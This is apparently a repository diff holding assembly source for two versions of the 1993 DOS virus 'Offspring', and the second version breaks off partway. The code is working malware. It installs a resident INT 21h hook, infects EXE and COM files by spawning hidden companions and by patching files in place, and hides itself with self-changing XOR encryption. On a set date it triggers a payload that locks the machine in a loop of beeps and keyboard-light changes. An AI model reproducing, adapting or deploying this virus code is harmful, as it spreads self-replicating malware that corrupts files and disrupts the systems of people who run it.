; Also, the operands are switched around, and the
|
||||
; bytes between them are constantly changed. The
|
||||
; call to the encryption routine changes, so the
|
||||
; address can be anywhere in a field of NOPs.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
TITLE OFFSPRING_1
|
||||
.286
|
||||
CSEG SEGMENT
|
||||
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
||||
|
||||
SIGNAL EQU 7DH ; Installation check
|
||||
REPLY EQU 0FCH ; reply to check
|
||||
CR EQU 0DH ; carraige return
|
||||
LF EQU 0AH ; line feed
|
||||
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
||||
F_SIZEL EQU 1CH ; File size - low
|
||||
F_SIZEH EQU 1AH ; File size - high
|
||||
F_DATE EQU 18H ; File date
|
||||
F_TIME EQU 16H ; File time
|
||||
MAX_INF EQU 05 ; Maximum files to infect per run
|
||||
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
||||
PARASTIC EQU 01 ; Parastic infection
|
||||
SPAWN EQU 00 ; Spawning infection
|
||||
|
||||
ORG 100H ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
START:
|
||||
|
||||
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
||||
SET_SI: DW 0000H
|
||||
|
||||
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
M_SW1: NOP ; changs into a byte in op_set
|
||||
XCHG_1 DB 0BFH
|
||||
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
||||
; Switches positions with XCHG_2
|
||||
M_SW2: NOP ; changes into a byte in op_set
|
||||
XCHG_2 DB 090H
|
||||
ENC_NUM DW 9090H
|
||||
M_SW3: NOP
|
||||
|
||||
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
||||
ADD_DI: DW 9000H ; 00-NOP
|
||||
|
||||
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
||||
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
||||
NO_DEC:
|
||||
JMP MAIN ; Jump to virus code
|
||||
|
||||
;-----------------------------------------------
|
||||
; Data area
|
||||
;-----------------------------------------------
|
||||
|
||||
ENC_DATA DW 0000 ; Start of encrypted data
|
||||
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
||||
VTYPE DB 00 ; Spawning or Parastic Infection?
|
||||
INF_COUNT DB 0 ; How many files we have infected this run
|
||||
COM_NAME DB 'COMMAND.COM' ; obvious
|
||||
NEW_CODE DW 9090H ; ID bytes
|
||||
NEW_JMP DB 0E9H,00,00 ; New Jump
|
||||
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
||||
ADD_MEM DB 0 ; restore mem size? Yes,No
|
||||
|
||||
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
||||
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
||||
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
||||
|
||||
FNAME1 DB '*.EXE',0 ; Filespec
|
||||
FNAME2 DB '*.COM',0 ; Filespec
|
||||
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
||||
TIMES_INC DB 0 ; # of times encryption call incremented
|
||||
SL DB '\' ; Backslash for directory name
|
||||
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
||||
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
||||
OLD_DTA DD 0 ; old seg:off of DTA
|
||||
OLD21_OFS DW 0 ; Offset of old INT 21H
|
||||
OLD21_SEG DW 0 ; Seg of old INT 21h
|
||||
NEW_SEG DW 0 ; New segment in high mem
|
||||
|
||||
PAR_BLK DW 0 ; command line count byte -psp
|
||||
PAR_CMD DW 0080H ; Point to the command line -psp
|
||||
PAR_SEG DW 0 ; seg
|
||||
DW 05CH ; Use default FCB's in psp to save space
|
||||
PAR1 DW 0 ;
|
||||
DW 06CH ; FCB #2
|
||||
PAR2 DW 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
NEW21 PROC ; New INT 21H handler
|
||||
|
||||
CMP AH, SIGNAL ; signaling us?
|
||||
JNE NO
|
||||
MOV AH,REPLY ; yep, give our offspring what he wants
|
||||
JMP END_21
|
||||
NO:
|
||||
CMP AH, 3BH ; set dir func?
|
||||
JE RUN_RES
|
||||
CMP AH,0EH ; set disk func?
|
||||
JE RUN_RES
|
||||
|
||||
JMP END_21
|
||||
|
||||
RUN_RES:
|
||||
PUSHF
|
||||
PUSH AX ; Push regs
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SP
|
||||
PUSH SS
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR AX,AX ; nullify ES
|
||||
MOV ES,AX
|
||||
|
||||
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
||||
JE REL_MEM ;
|
||||
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
||||
JE SET_MEM ; total system memory.
|
||||
|
||||
JMP NO_MEM_FUNC
|
||||
|
||||
SET_MEM:
|
||||
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
||||
INC ADD_MEM ; make sure we know to add this back
|
||||
JMP NO_MEM_FUNC
|
||||
REL_MEM:
|
||||
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
||||
DEC ADD_MEM
|
||||
|
||||
|
||||
NO_MEM_FUNC:
|
||||
MOV AH,2FH
|
||||
INT 21H ; Get the DTA
|
||||
|
||||
MOV AX,ES
|
||||
MOV WORD PTR OLD_DTA,BX
|
||||
MOV WORD PTR OLD_DTA+2,AX
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL RESIDENT ; Call infection kernal
|
||||
|
||||
MOV DX,WORD PTR OLD_DTA
|
||||
MOV AX,WORD PTR OLD_DTA+2
|
||||
MOV DS,AX
|
||||
MOV AH,1AH
|
||||
INT 21H ; Restore the DTA
|
||||
|
||||
POP SS ; Pop regs
|
||||
POP SP
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
END_21 :
|
||||
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
||||
IRET
|
||||
NEW21 ENDP ; End of handler
|
||||
|
||||
|
||||
;------------------------------------------------------------
|
||||
; Main
|
||||
;-----------------------------------------------------------
|
||||
MAIN PROC
|
||||
|
||||
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
||||
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
||||
|
||||
MOV AX,DS: 002CH ; Get environment address
|
||||
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
||||
|
||||
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
||||
MOV [SI+OFFSET PAR2],CS
|
||||
MOV [SI+OFFSET PAR_SEG],CS
|
||||
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H
|
||||
|
||||
CMP DL,14 ; 14th?
|
||||
JNE NO_DISPLAY
|
||||
|
||||
MOV AH,09 ; Display message
|
||||
LEA DX,[SI+OFFSET ID]
|
||||
INT 21H
|
||||
|
||||
NO_DISPLAY:
|
||||
CALL INSTALL ; check if installed, if not install
|
||||
|
||||
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
||||
JE SKIP_THIS
|
||||
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
||||
MOV CL,4 ; divide by 16
|
||||
SHR BX,CL
|
||||
INC BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Release un-needed memory
|
||||
|
||||
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
||||
LEA BX,[SI+OFFSET PAR_BLK]
|
||||
MOV AX,4B00H
|
||||
INT 21H
|
||||
|
||||
MOV AH,4CH ; Exit
|
||||
INT 21H
|
||||
|
||||
SKIP_THIS:
|
||||
|
||||
MOV CX,5 ; Restore original first
|
||||
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
||||
MOV DI,0100H
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV AX,0100H ; Simulate CALL return to 0100h
|
||||
PUSH AX
|
||||
RET
|
||||
|
||||
MAIN ENDP
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------
|
||||
|
||||
INSTALL PROC
|
||||
|
||||
MOV AH,SIGNAL
|
||||
INT 21H
|
||||
CMP AH,REPLY
|
||||
JE NO_INSTALL
|
||||
|
||||
MOV AX,CS
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
JNE NO_INSTALL
|
||||
|
||||
|
||||
MOV AX,DS: [3] ;Block size in MCB
|
||||
SUB AX,190 ;Shrink Block Size-quick estimate
|
||||
MOV DS: [3],AX
|
||||
|
||||
MOV BX,AX
|
||||
MOV AX,ES
|
||||
ADD AX,BX
|
||||
MOV ES,AX ;Find high memory seg
|
||||
|
||||
PUSH SI
|
||||
ADD SI,0100H
|
||||
MOV CX,(OFFSET VEND - OFFSET START)
|
||||
MOV AX,DS
|
||||
INC AX
|
||||
MOV DS,AX
|
||||
MOV DI,100H ; New location in high memory
|
||||
CLD
|
||||
REP MOVSB ; Copy virus to high memory
|
||||
|
||||
POP SI
|
||||
MOV DS: NEW_SEG,ES ;Save new segment
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; null es
|
||||
MOV AX,ES: [21H*4+2]
|
||||
MOV BX,ES: [21H*4]
|
||||
MOV DS: OLD21_SEG,AX ; Store segment
|
||||
MOV DS: OLD21_OFS,BX ; Store offset
|
||||
|
||||
CLI
|
||||
|
||||
MOV ES: [21H*4+2],DS ; Save seg
|
||||
LEA AX,[OFFSET NEW21]
|
||||
MOV ES: [21H*4],AX ; off
|
||||
|
||||
STI
|
||||
|
||||
NO_INSTALL:
|
||||
PUSH CS ; Restore regs
|
||||
POP DS
|
||||
MOV ES,DS
|
||||
|
||||
RET
|
||||
INSTALL ENDP
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
RESIDENT PROC
|
||||
|
||||
MOV VTYPE,SPAWN
|
||||
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
||||
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
||||
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
||||
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
||||
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
||||
|
||||
FIND_FIRST:
|
||||
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
||||
LEA SI, VEND
|
||||
LEA DI, VEND+2
|
||||
MOV CX,22
|
||||
CLD
|
||||
REP MOVSW
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
MOV AH, 1AH
|
||||
LEA DX, VEND
|
||||
INT 21H
|
||||
|
||||
MOV AH, 4EH ; Findfirst
|
||||
MOV CX, 0 ; Set normal file attribute search
|
||||
MOV DX, FNAME_OFF
|
||||
INT 21H
|
||||
|
||||
JNC NEXT_LOOP ; if still finding files then loop
|
||||
JMP END_PROG
|
||||
|
||||
NEXT_LOOP :
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE START_INF ; yes, skip all this
|
||||
|
||||
MOV AH,47H
|
||||
XOR DL,DL
|
||||
LEA SI,FILE_DIR
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
||||
JE OK_FIND ; for spawning infections
|
||||
JMP FIND_FILE
|
||||
|
||||
OK_FIND:
|
||||
XOR BX,BX
|
||||
LM3 : ; find end of directory name
|
||||
INC BX
|
||||
CMP FILE_DIR[BX],0
|
||||
JNE LM3
|
||||
|
||||
MOV FILE_DIR[BX],'\' ; append backslash to path
|
||||
INC BX
|
||||
|
||||
MOV CX,13 ; append filename to path
|
||||
LEA SI,VEND[F_NAME]
|
||||
LEA DI,FILE_DIR[BX]
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
XOR BX,BX
|
||||
MOV BX,1EH
|
||||
|
||||
LOOP_ME: ; search for filename ext.
|
||||
INC BX
|
||||
CMP BYTE PTR VEND[BX], '.'
|
||||
JNE LOOP_ME
|
||||
|
||||
INC BX ; change it to COM
|
||||
MOV WORD PTR VEND [BX],'OC'
|
||||
MOV BYTE PTR VEND [BX+2],'M'
|
||||
|
||||
|
||||
START_INF:
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE PARASTIC_INF ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
LEA DX, VEND[F_NAME]
|
||||
MOV AH, 3CH ; Create file
|
||||
MOV CX, 02H ; READ-ONLY
|
||||
OR CX, 01H ; Hidden
|
||||
INT 21H ; Call INT 21H
|
||||
JNC CONTIN ; If Error-probably already infected
|
||||
JMP NO_INFECT
|
||||
CONTIN:
|
||||
|
||||
INC INF_COUNT
|
||||
MOV BX,AX
|
||||
|
||||
JMP ENCRYPT_OPS
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
PARASTIC_INF :
|
||||
|
||||
CMP VEND[F_SIZEh],400H
|
||||
JGE CONT_INF2
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF2:
|
||||
|
||||
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
||||
LEA DI,COM_NAME
|
||||
MOV CX,11
|
||||
CLD
|
||||
REPE CMPSB
|
||||
|
||||
JNE CONT_INF0 ; Yes, don't infect
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF0:
|
||||
|
||||
MOV AX,3D02H ; Open file for reading & writing
|
||||
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
||||
INT 21H
|
||||
|
||||
JNC CONT_INF1 ; error, skip infection
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF1:
|
||||
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AH,3FH ; Read first five bytes of file
|
||||
MOV CX,05
|
||||
LEA DX,FIRST_FIVE
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR FIRST_FIVE,9090H
|
||||
JNE CONT_INF
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF:
|
||||
INC INF_COUNT
|
||||
MOV AX,4202H ; Set pointer to end of file, so we
|
||||
XOR CX,CX ; can find the file size
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
;SUB AX,0100h ; Subtract PSP size
|
||||
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
||||
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
||||
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
||||
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV AX,VEND[F_SIZEH]
|
||||
SUB AX,5
|
||||
MOV WORD PTR NEW_JMP+1,AX
|
||||
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,6
|
||||
LEA DX,NEW_CODE
|
||||
INT 21H
|
||||
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
|
||||
ENCRYPT_OPS:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
||||
MOV BX,WORD PTR XCHG_2
|
||||
MOV WORD PTR XCHG_1,BX
|
||||
MOV WORD PTR XCHG_2,AX
|
||||
MOV AH, BYTE PTR XCHG_1+2
|
||||
MOV BH, BYTE PTR XCHG_2+2
|
||||
MOV BYTE PTR XCHG_1+2,BH
|
||||
MOV BYTE PTR XCHG_2+2,AH
|
||||
|
||||
XOR_DONE:
|
||||
|
||||
CHG_TWO:
|
||||
XOR CX,CX ; CX=0
|
||||
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
||||
|
||||
CHG_REST:
|
||||
INC ROT_NUM ; increment rotation number
|
||||
MOV BX,ROT_NUM ; bx=rotation num
|
||||
MOV AH,OP_SET[BX] ; ah = new op code from set
|
||||
MOV BYTE PTR [DI],AH
|
||||
|
||||
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
||||
JNE CHG_CNT ; no, chg_cnt
|
||||
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
||||
CHG_CNT:
|
||||
INC CX ; increment count
|
||||
CMP CX,1
|
||||
LEA DI,M_SW1
|
||||
JE CHG_REST
|
||||
CMP CX,2
|
||||
LEA DI,M_SW2
|
||||
JE CHG_REST
|
||||
CMP CX,3
|
||||
LEA DI,M_SW3
|
||||
JE CHG_REST
|
||||
CMP CX,4
|
||||
LEA DI,SW_BYTE1
|
||||
JE CHG_REST
|
||||
|
||||
CHG_THREE:
|
||||
XOR CX,CX
|
||||
LEA DI,SW_BYTE3
|
||||
CHG_FOUR:
|
||||
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
||||
MOV BX,1 ;
|
||||
JE MOV_POS ; Yes, so change it to the second
|
||||
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
||||
MOV BX,2 ;
|
||||
JE MOV_POS ; Yes, change it to the third
|
||||
XOR BX,BX ; Else, must be in final position
|
||||
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
||||
MOV BYTE PTR [DI+2],90H ; to NOP
|
||||
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
||||
|
||||
CMP BX,2
|
||||
JNE NO_CHANGE
|
||||
INC CX
|
||||
CMP CX,2
|
||||
LEA DI,SW_BYTE4
|
||||
JNE CHG_FOUR
|
||||
|
||||
NO_CHANGE:
|
||||
CMP BYTE PTR TIMES_INC,9
|
||||
JE INC_NUM
|
||||
INC WORD PTR B_WR
|
||||
INC WORD PTR E_JMP
|
||||
INC WORD PTR E_JMP
|
||||
INC TIMES_INC
|
||||
JMP D2
|
||||
INC_NUM:
|
||||
SUB WORD PTR B_WR,09
|
||||
SUB WORD PTR E_JMP,18
|
||||
MOV TIMES_INC,0
|
||||
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
D2:
|
||||
|
||||
MOV AH,2CH ;
|
||||
INT 21H ; Get random number from clock - millisecs
|
||||
|
||||
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
||||
|
||||
|
||||
MOV SI,0100H
|
||||
LEA DI,VEND+50 ; destination
|
||||
MOV CX,OFFSET VEND-100H ; bytes to move
|
||||
CLD
|
||||
REP MOVSB ; copy virus outside of code
|
||||
|
||||
|
||||
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
||||
CMP BYTE PTR VTYPE, PARASTIC
|
||||
JNE GO_ENC
|
||||
;add di,si
|
||||
|
||||
GO_ENC:
|
||||
CALL ENCRYPT ; encrypt new copy of virus
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
POP BX
|
||||
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
||||
LEA DX, VEND+50 ; Offset of buffer
|
||||
MOV AH, 40H ; -- our program in memory
|
||||
INT 21H ; Call INT 21H function 40h
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic?
|
||||
JNE CLOSE ; no, don't need to restore date/time
|
||||
|
||||
MOV AX,5701H ; Restore data/time
|
||||
MOV CX,VEND[F_TIME]
|
||||
MOV DX,VEND[F_DATE]
|
||||
INT 21H
|
||||
|
||||
|
||||
CLOSE: MOV AH, 3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
NO_INFECT:
|
||||
|
||||
; Find next file
|
||||
FIND_FILE :
|
||||
|
||||
CMP INF_COUNT, MAX_INF
|
||||
JE END_PROG
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
JC END_PROG
|
||||
JMP NEXT_LOOP
|
||||
|
||||
|
||||
END_PROG:
|
||||
EXIT :
|
||||
CMP INF_COUNT,0 ; Start parastic infection on next run
|
||||
JNE FIND_DONE
|
||||
CMP VTYPE, PARASTIC ; Parastic infection done?
|
||||
JE FIND_DONE ; yes, we're finished
|
||||
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
||||
MOV VTYPE, PARASTIC ; virus type = parastic
|
||||
JMP FIND_FIRST
|
||||
|
||||
|
||||
FIND_DONE:
|
||||
MOV VTYPE,SPAWN
|
||||
MOV FNAME_OFF, OFFSET FNAME1
|
||||
RET
|
||||
RESIDENT ENDP
|
||||
|
||||
END_ENCRYPT: ; Let's encrypt everything up to here
|
||||
OP_SET DB 90H ; NOP
|
||||
DB 40H ; INC AX
|
||||
DB 43H ; INC BX
|
||||
DB 48H ; DEC AX
|
||||
DB 4BH ; DEC BX
|
||||
DB 0FBH ; STI
|
||||
DB 0FCH ; CLD
|
||||
DB 4AH ; DEC DX
|
||||
DB 42H ; INC DX
|
||||
DB 14 DUP(090H)
|
||||
;------------------------------------------------
|
||||
; Encrypt/Decrypt Routine
|
||||
;-----------------------------------------------
|
||||
|
||||
ENCRYPT PROC
|
||||
CX_M DB 0B9H ; MOV CX
|
||||
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
||||
E2:
|
||||
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
||||
NOP
|
||||
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
||||
SW_BYTE3: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE4: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE2:
|
||||
NOP ; This byte changes into a char in op_set
|
||||
LOOP E2 ; loop while cx != 0
|
||||
|
||||
RET
|
||||
|
||||
ENCRYPT ENDP
|
||||
|
||||
VEND DW 0 ; End of virus
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
|
@ -0,0 +1,665 @@
|
|||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.81 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with : TASM /m2
|
||||
;
|
||||
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.81
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
|
||||
; is called the virus will infect up to 5 files
|
||||
; in the current directory. It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; encryption routine switches from using di to si.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
title offspring_1
|
||||
.286
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0fch ; reply to check
|
||||
f_name equ 1eh ; Offset of file name in FF/FN buffer
|
||||
f_sizel equ 1ch ; File size - low - loc in mem
|
||||
f_sizeh equ 1ah ; File size - high - loc in mem
|
||||
f_date equ 18h ; File date - loc in mem
|
||||
f_time equ 16h ; File time - loc in mem
|
||||
max_inf equ 05 ; Maximum files to infect per run
|
||||
max_rotation equ 9 ; number of bytes in switch byte table
|
||||
parastic equ 01 ; Parastic infection
|
||||
spawn equ 00 ; Spawning infection
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
start:
|
||||
|
||||
db 0bdh ; MOV BP,xxxx - Load delta offset
|
||||
set_bp:
|
||||
dw 0000
|
||||
|
||||
skip_dec:
|
||||
jmp main ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
di_op db 0bfh
|
||||
mov_di dw offset enc_data+2 ; Point to byte after encryption num
|
||||
;
|
||||
;-------------------------
|
||||
; Encryption/Decryption
|
||||
|
||||
encrypt:
|
||||
cx_m db 90h,0b9h ; MOV CX
|
||||
b_wr dw (offset vend-offset enc_data)/2
|
||||
xor_loop:
|
||||
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
|
||||
sw_byte3: ; INC xx changes position in these bytes
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
sw_byte4:
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
loop xor_loop ; loop while cx != 0
|
||||
|
||||
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
|
||||
|
||||
enc_data: ; Start of encrypted data
|
||||
|
||||
;-------------------------------
|
||||
; Non-Resident portion of virus
|
||||
;-------------------------------
|
||||
main proc
|
||||
|
||||
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk[bp],ax ; Save in parameter block for exec
|
||||
|
||||
mov par1[bp],cs ; Save segments for EXEC
|
||||
mov par2[bp],cs
|
||||
mov par_seg[bp],cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,9 ; 9th?
|
||||
jne no_display
|
||||
|
||||
mov ah,09 ; display virus name
|
||||
lea dx,vname[bp]
|
||||
int 21h
|
||||
|
||||
xor ax,ax ; seg 0
|
||||
mov es,ax
|
||||
mov dx,1010101010101010b ; lights
|
||||
chg_lights: ; Infinite loop to change keyboard
|
||||
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
|
||||
ror dx,1 ; rotate bits
|
||||
mov cx,0101h ; scan code/ascii
|
||||
mov ah,05h ; push a beep onto keyb buf
|
||||
int 16h
|
||||
mov ah,10h ; Read key back so we don't fill
|
||||
int 16h ; up the keyboard buffer
|
||||
int 5h ; Print-Screen
|
||||
mov ax,0a07h ; Write BEEP to screen
|
||||
xor bh,bh
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ah,86h ; Delay
|
||||
mov cx,0002h
|
||||
int 15h
|
||||
|
||||
jmp chg_lights
|
||||
|
||||
no_display:
|
||||
|
||||
call install ; check if installed, if not install
|
||||
|
||||
cmp byte ptr vtype[bp],parastic
|
||||
je com_return
|
||||
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
lea dx,file_dir-1[bp] ; Execute the original EXE
|
||||
lea bx,par_blk[bp]
|
||||
mov ch,0FBh ; tell mem. resident virus
|
||||
mov ax,4b00h ; that it's us.
|
||||
int 21h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
com_return:
|
||||
|
||||
mov si,bp
|
||||
mov cx,4 ; Restore original first
|
||||
add si,offset org_bytes ; five bytes of COM file
|
||||
mov di,0100h
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ax,0100h ; Simulate CALL return to 0100h
|
||||
push ax
|
||||
ret
|
||||
|
||||
main endp
|
||||
|
||||
;--------------------------------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------------------------------
|
||||
|
||||
install proc
|
||||
|
||||
mov ah,signal
|
||||
int 21h
|
||||
cmp ah,reply
|
||||
je no_install
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
jne no_install
|
||||
|
||||
|
||||
mov ax,ds: [3] ;Block size in MCB
|
||||
sub ax,190 ;Shrink Block Size-quick estimate
|
||||
mov ds: [3],ax
|
||||
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax ;Find high memory seg
|
||||
|
||||
mov si,bp
|
||||
add si,0100h
|
||||
mov cx,(offset vend - offset start)
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov di,100h ; New location in high memory
|
||||
cld
|
||||
rep movsb ; Copy virus to high memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xor ax,ax
|
||||
mov es,ax ; null es
|
||||
mov ax,es: [21h*4+2]
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax ; Store segment
|
||||
mov ds: old21_ofs,bx ; Store offset
|
||||
|
||||
cli
|
||||
|
||||
mov es: [21h*4+2],ds ; Save seg
|
||||
lea ax, new21
|
||||
mov es: [21h*4],ax ; off
|
||||
|
||||
sti
|
||||
|
||||
no_install:
|
||||
push cs ; Restore regs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
ret
|
||||
install endp
|
||||
|
||||
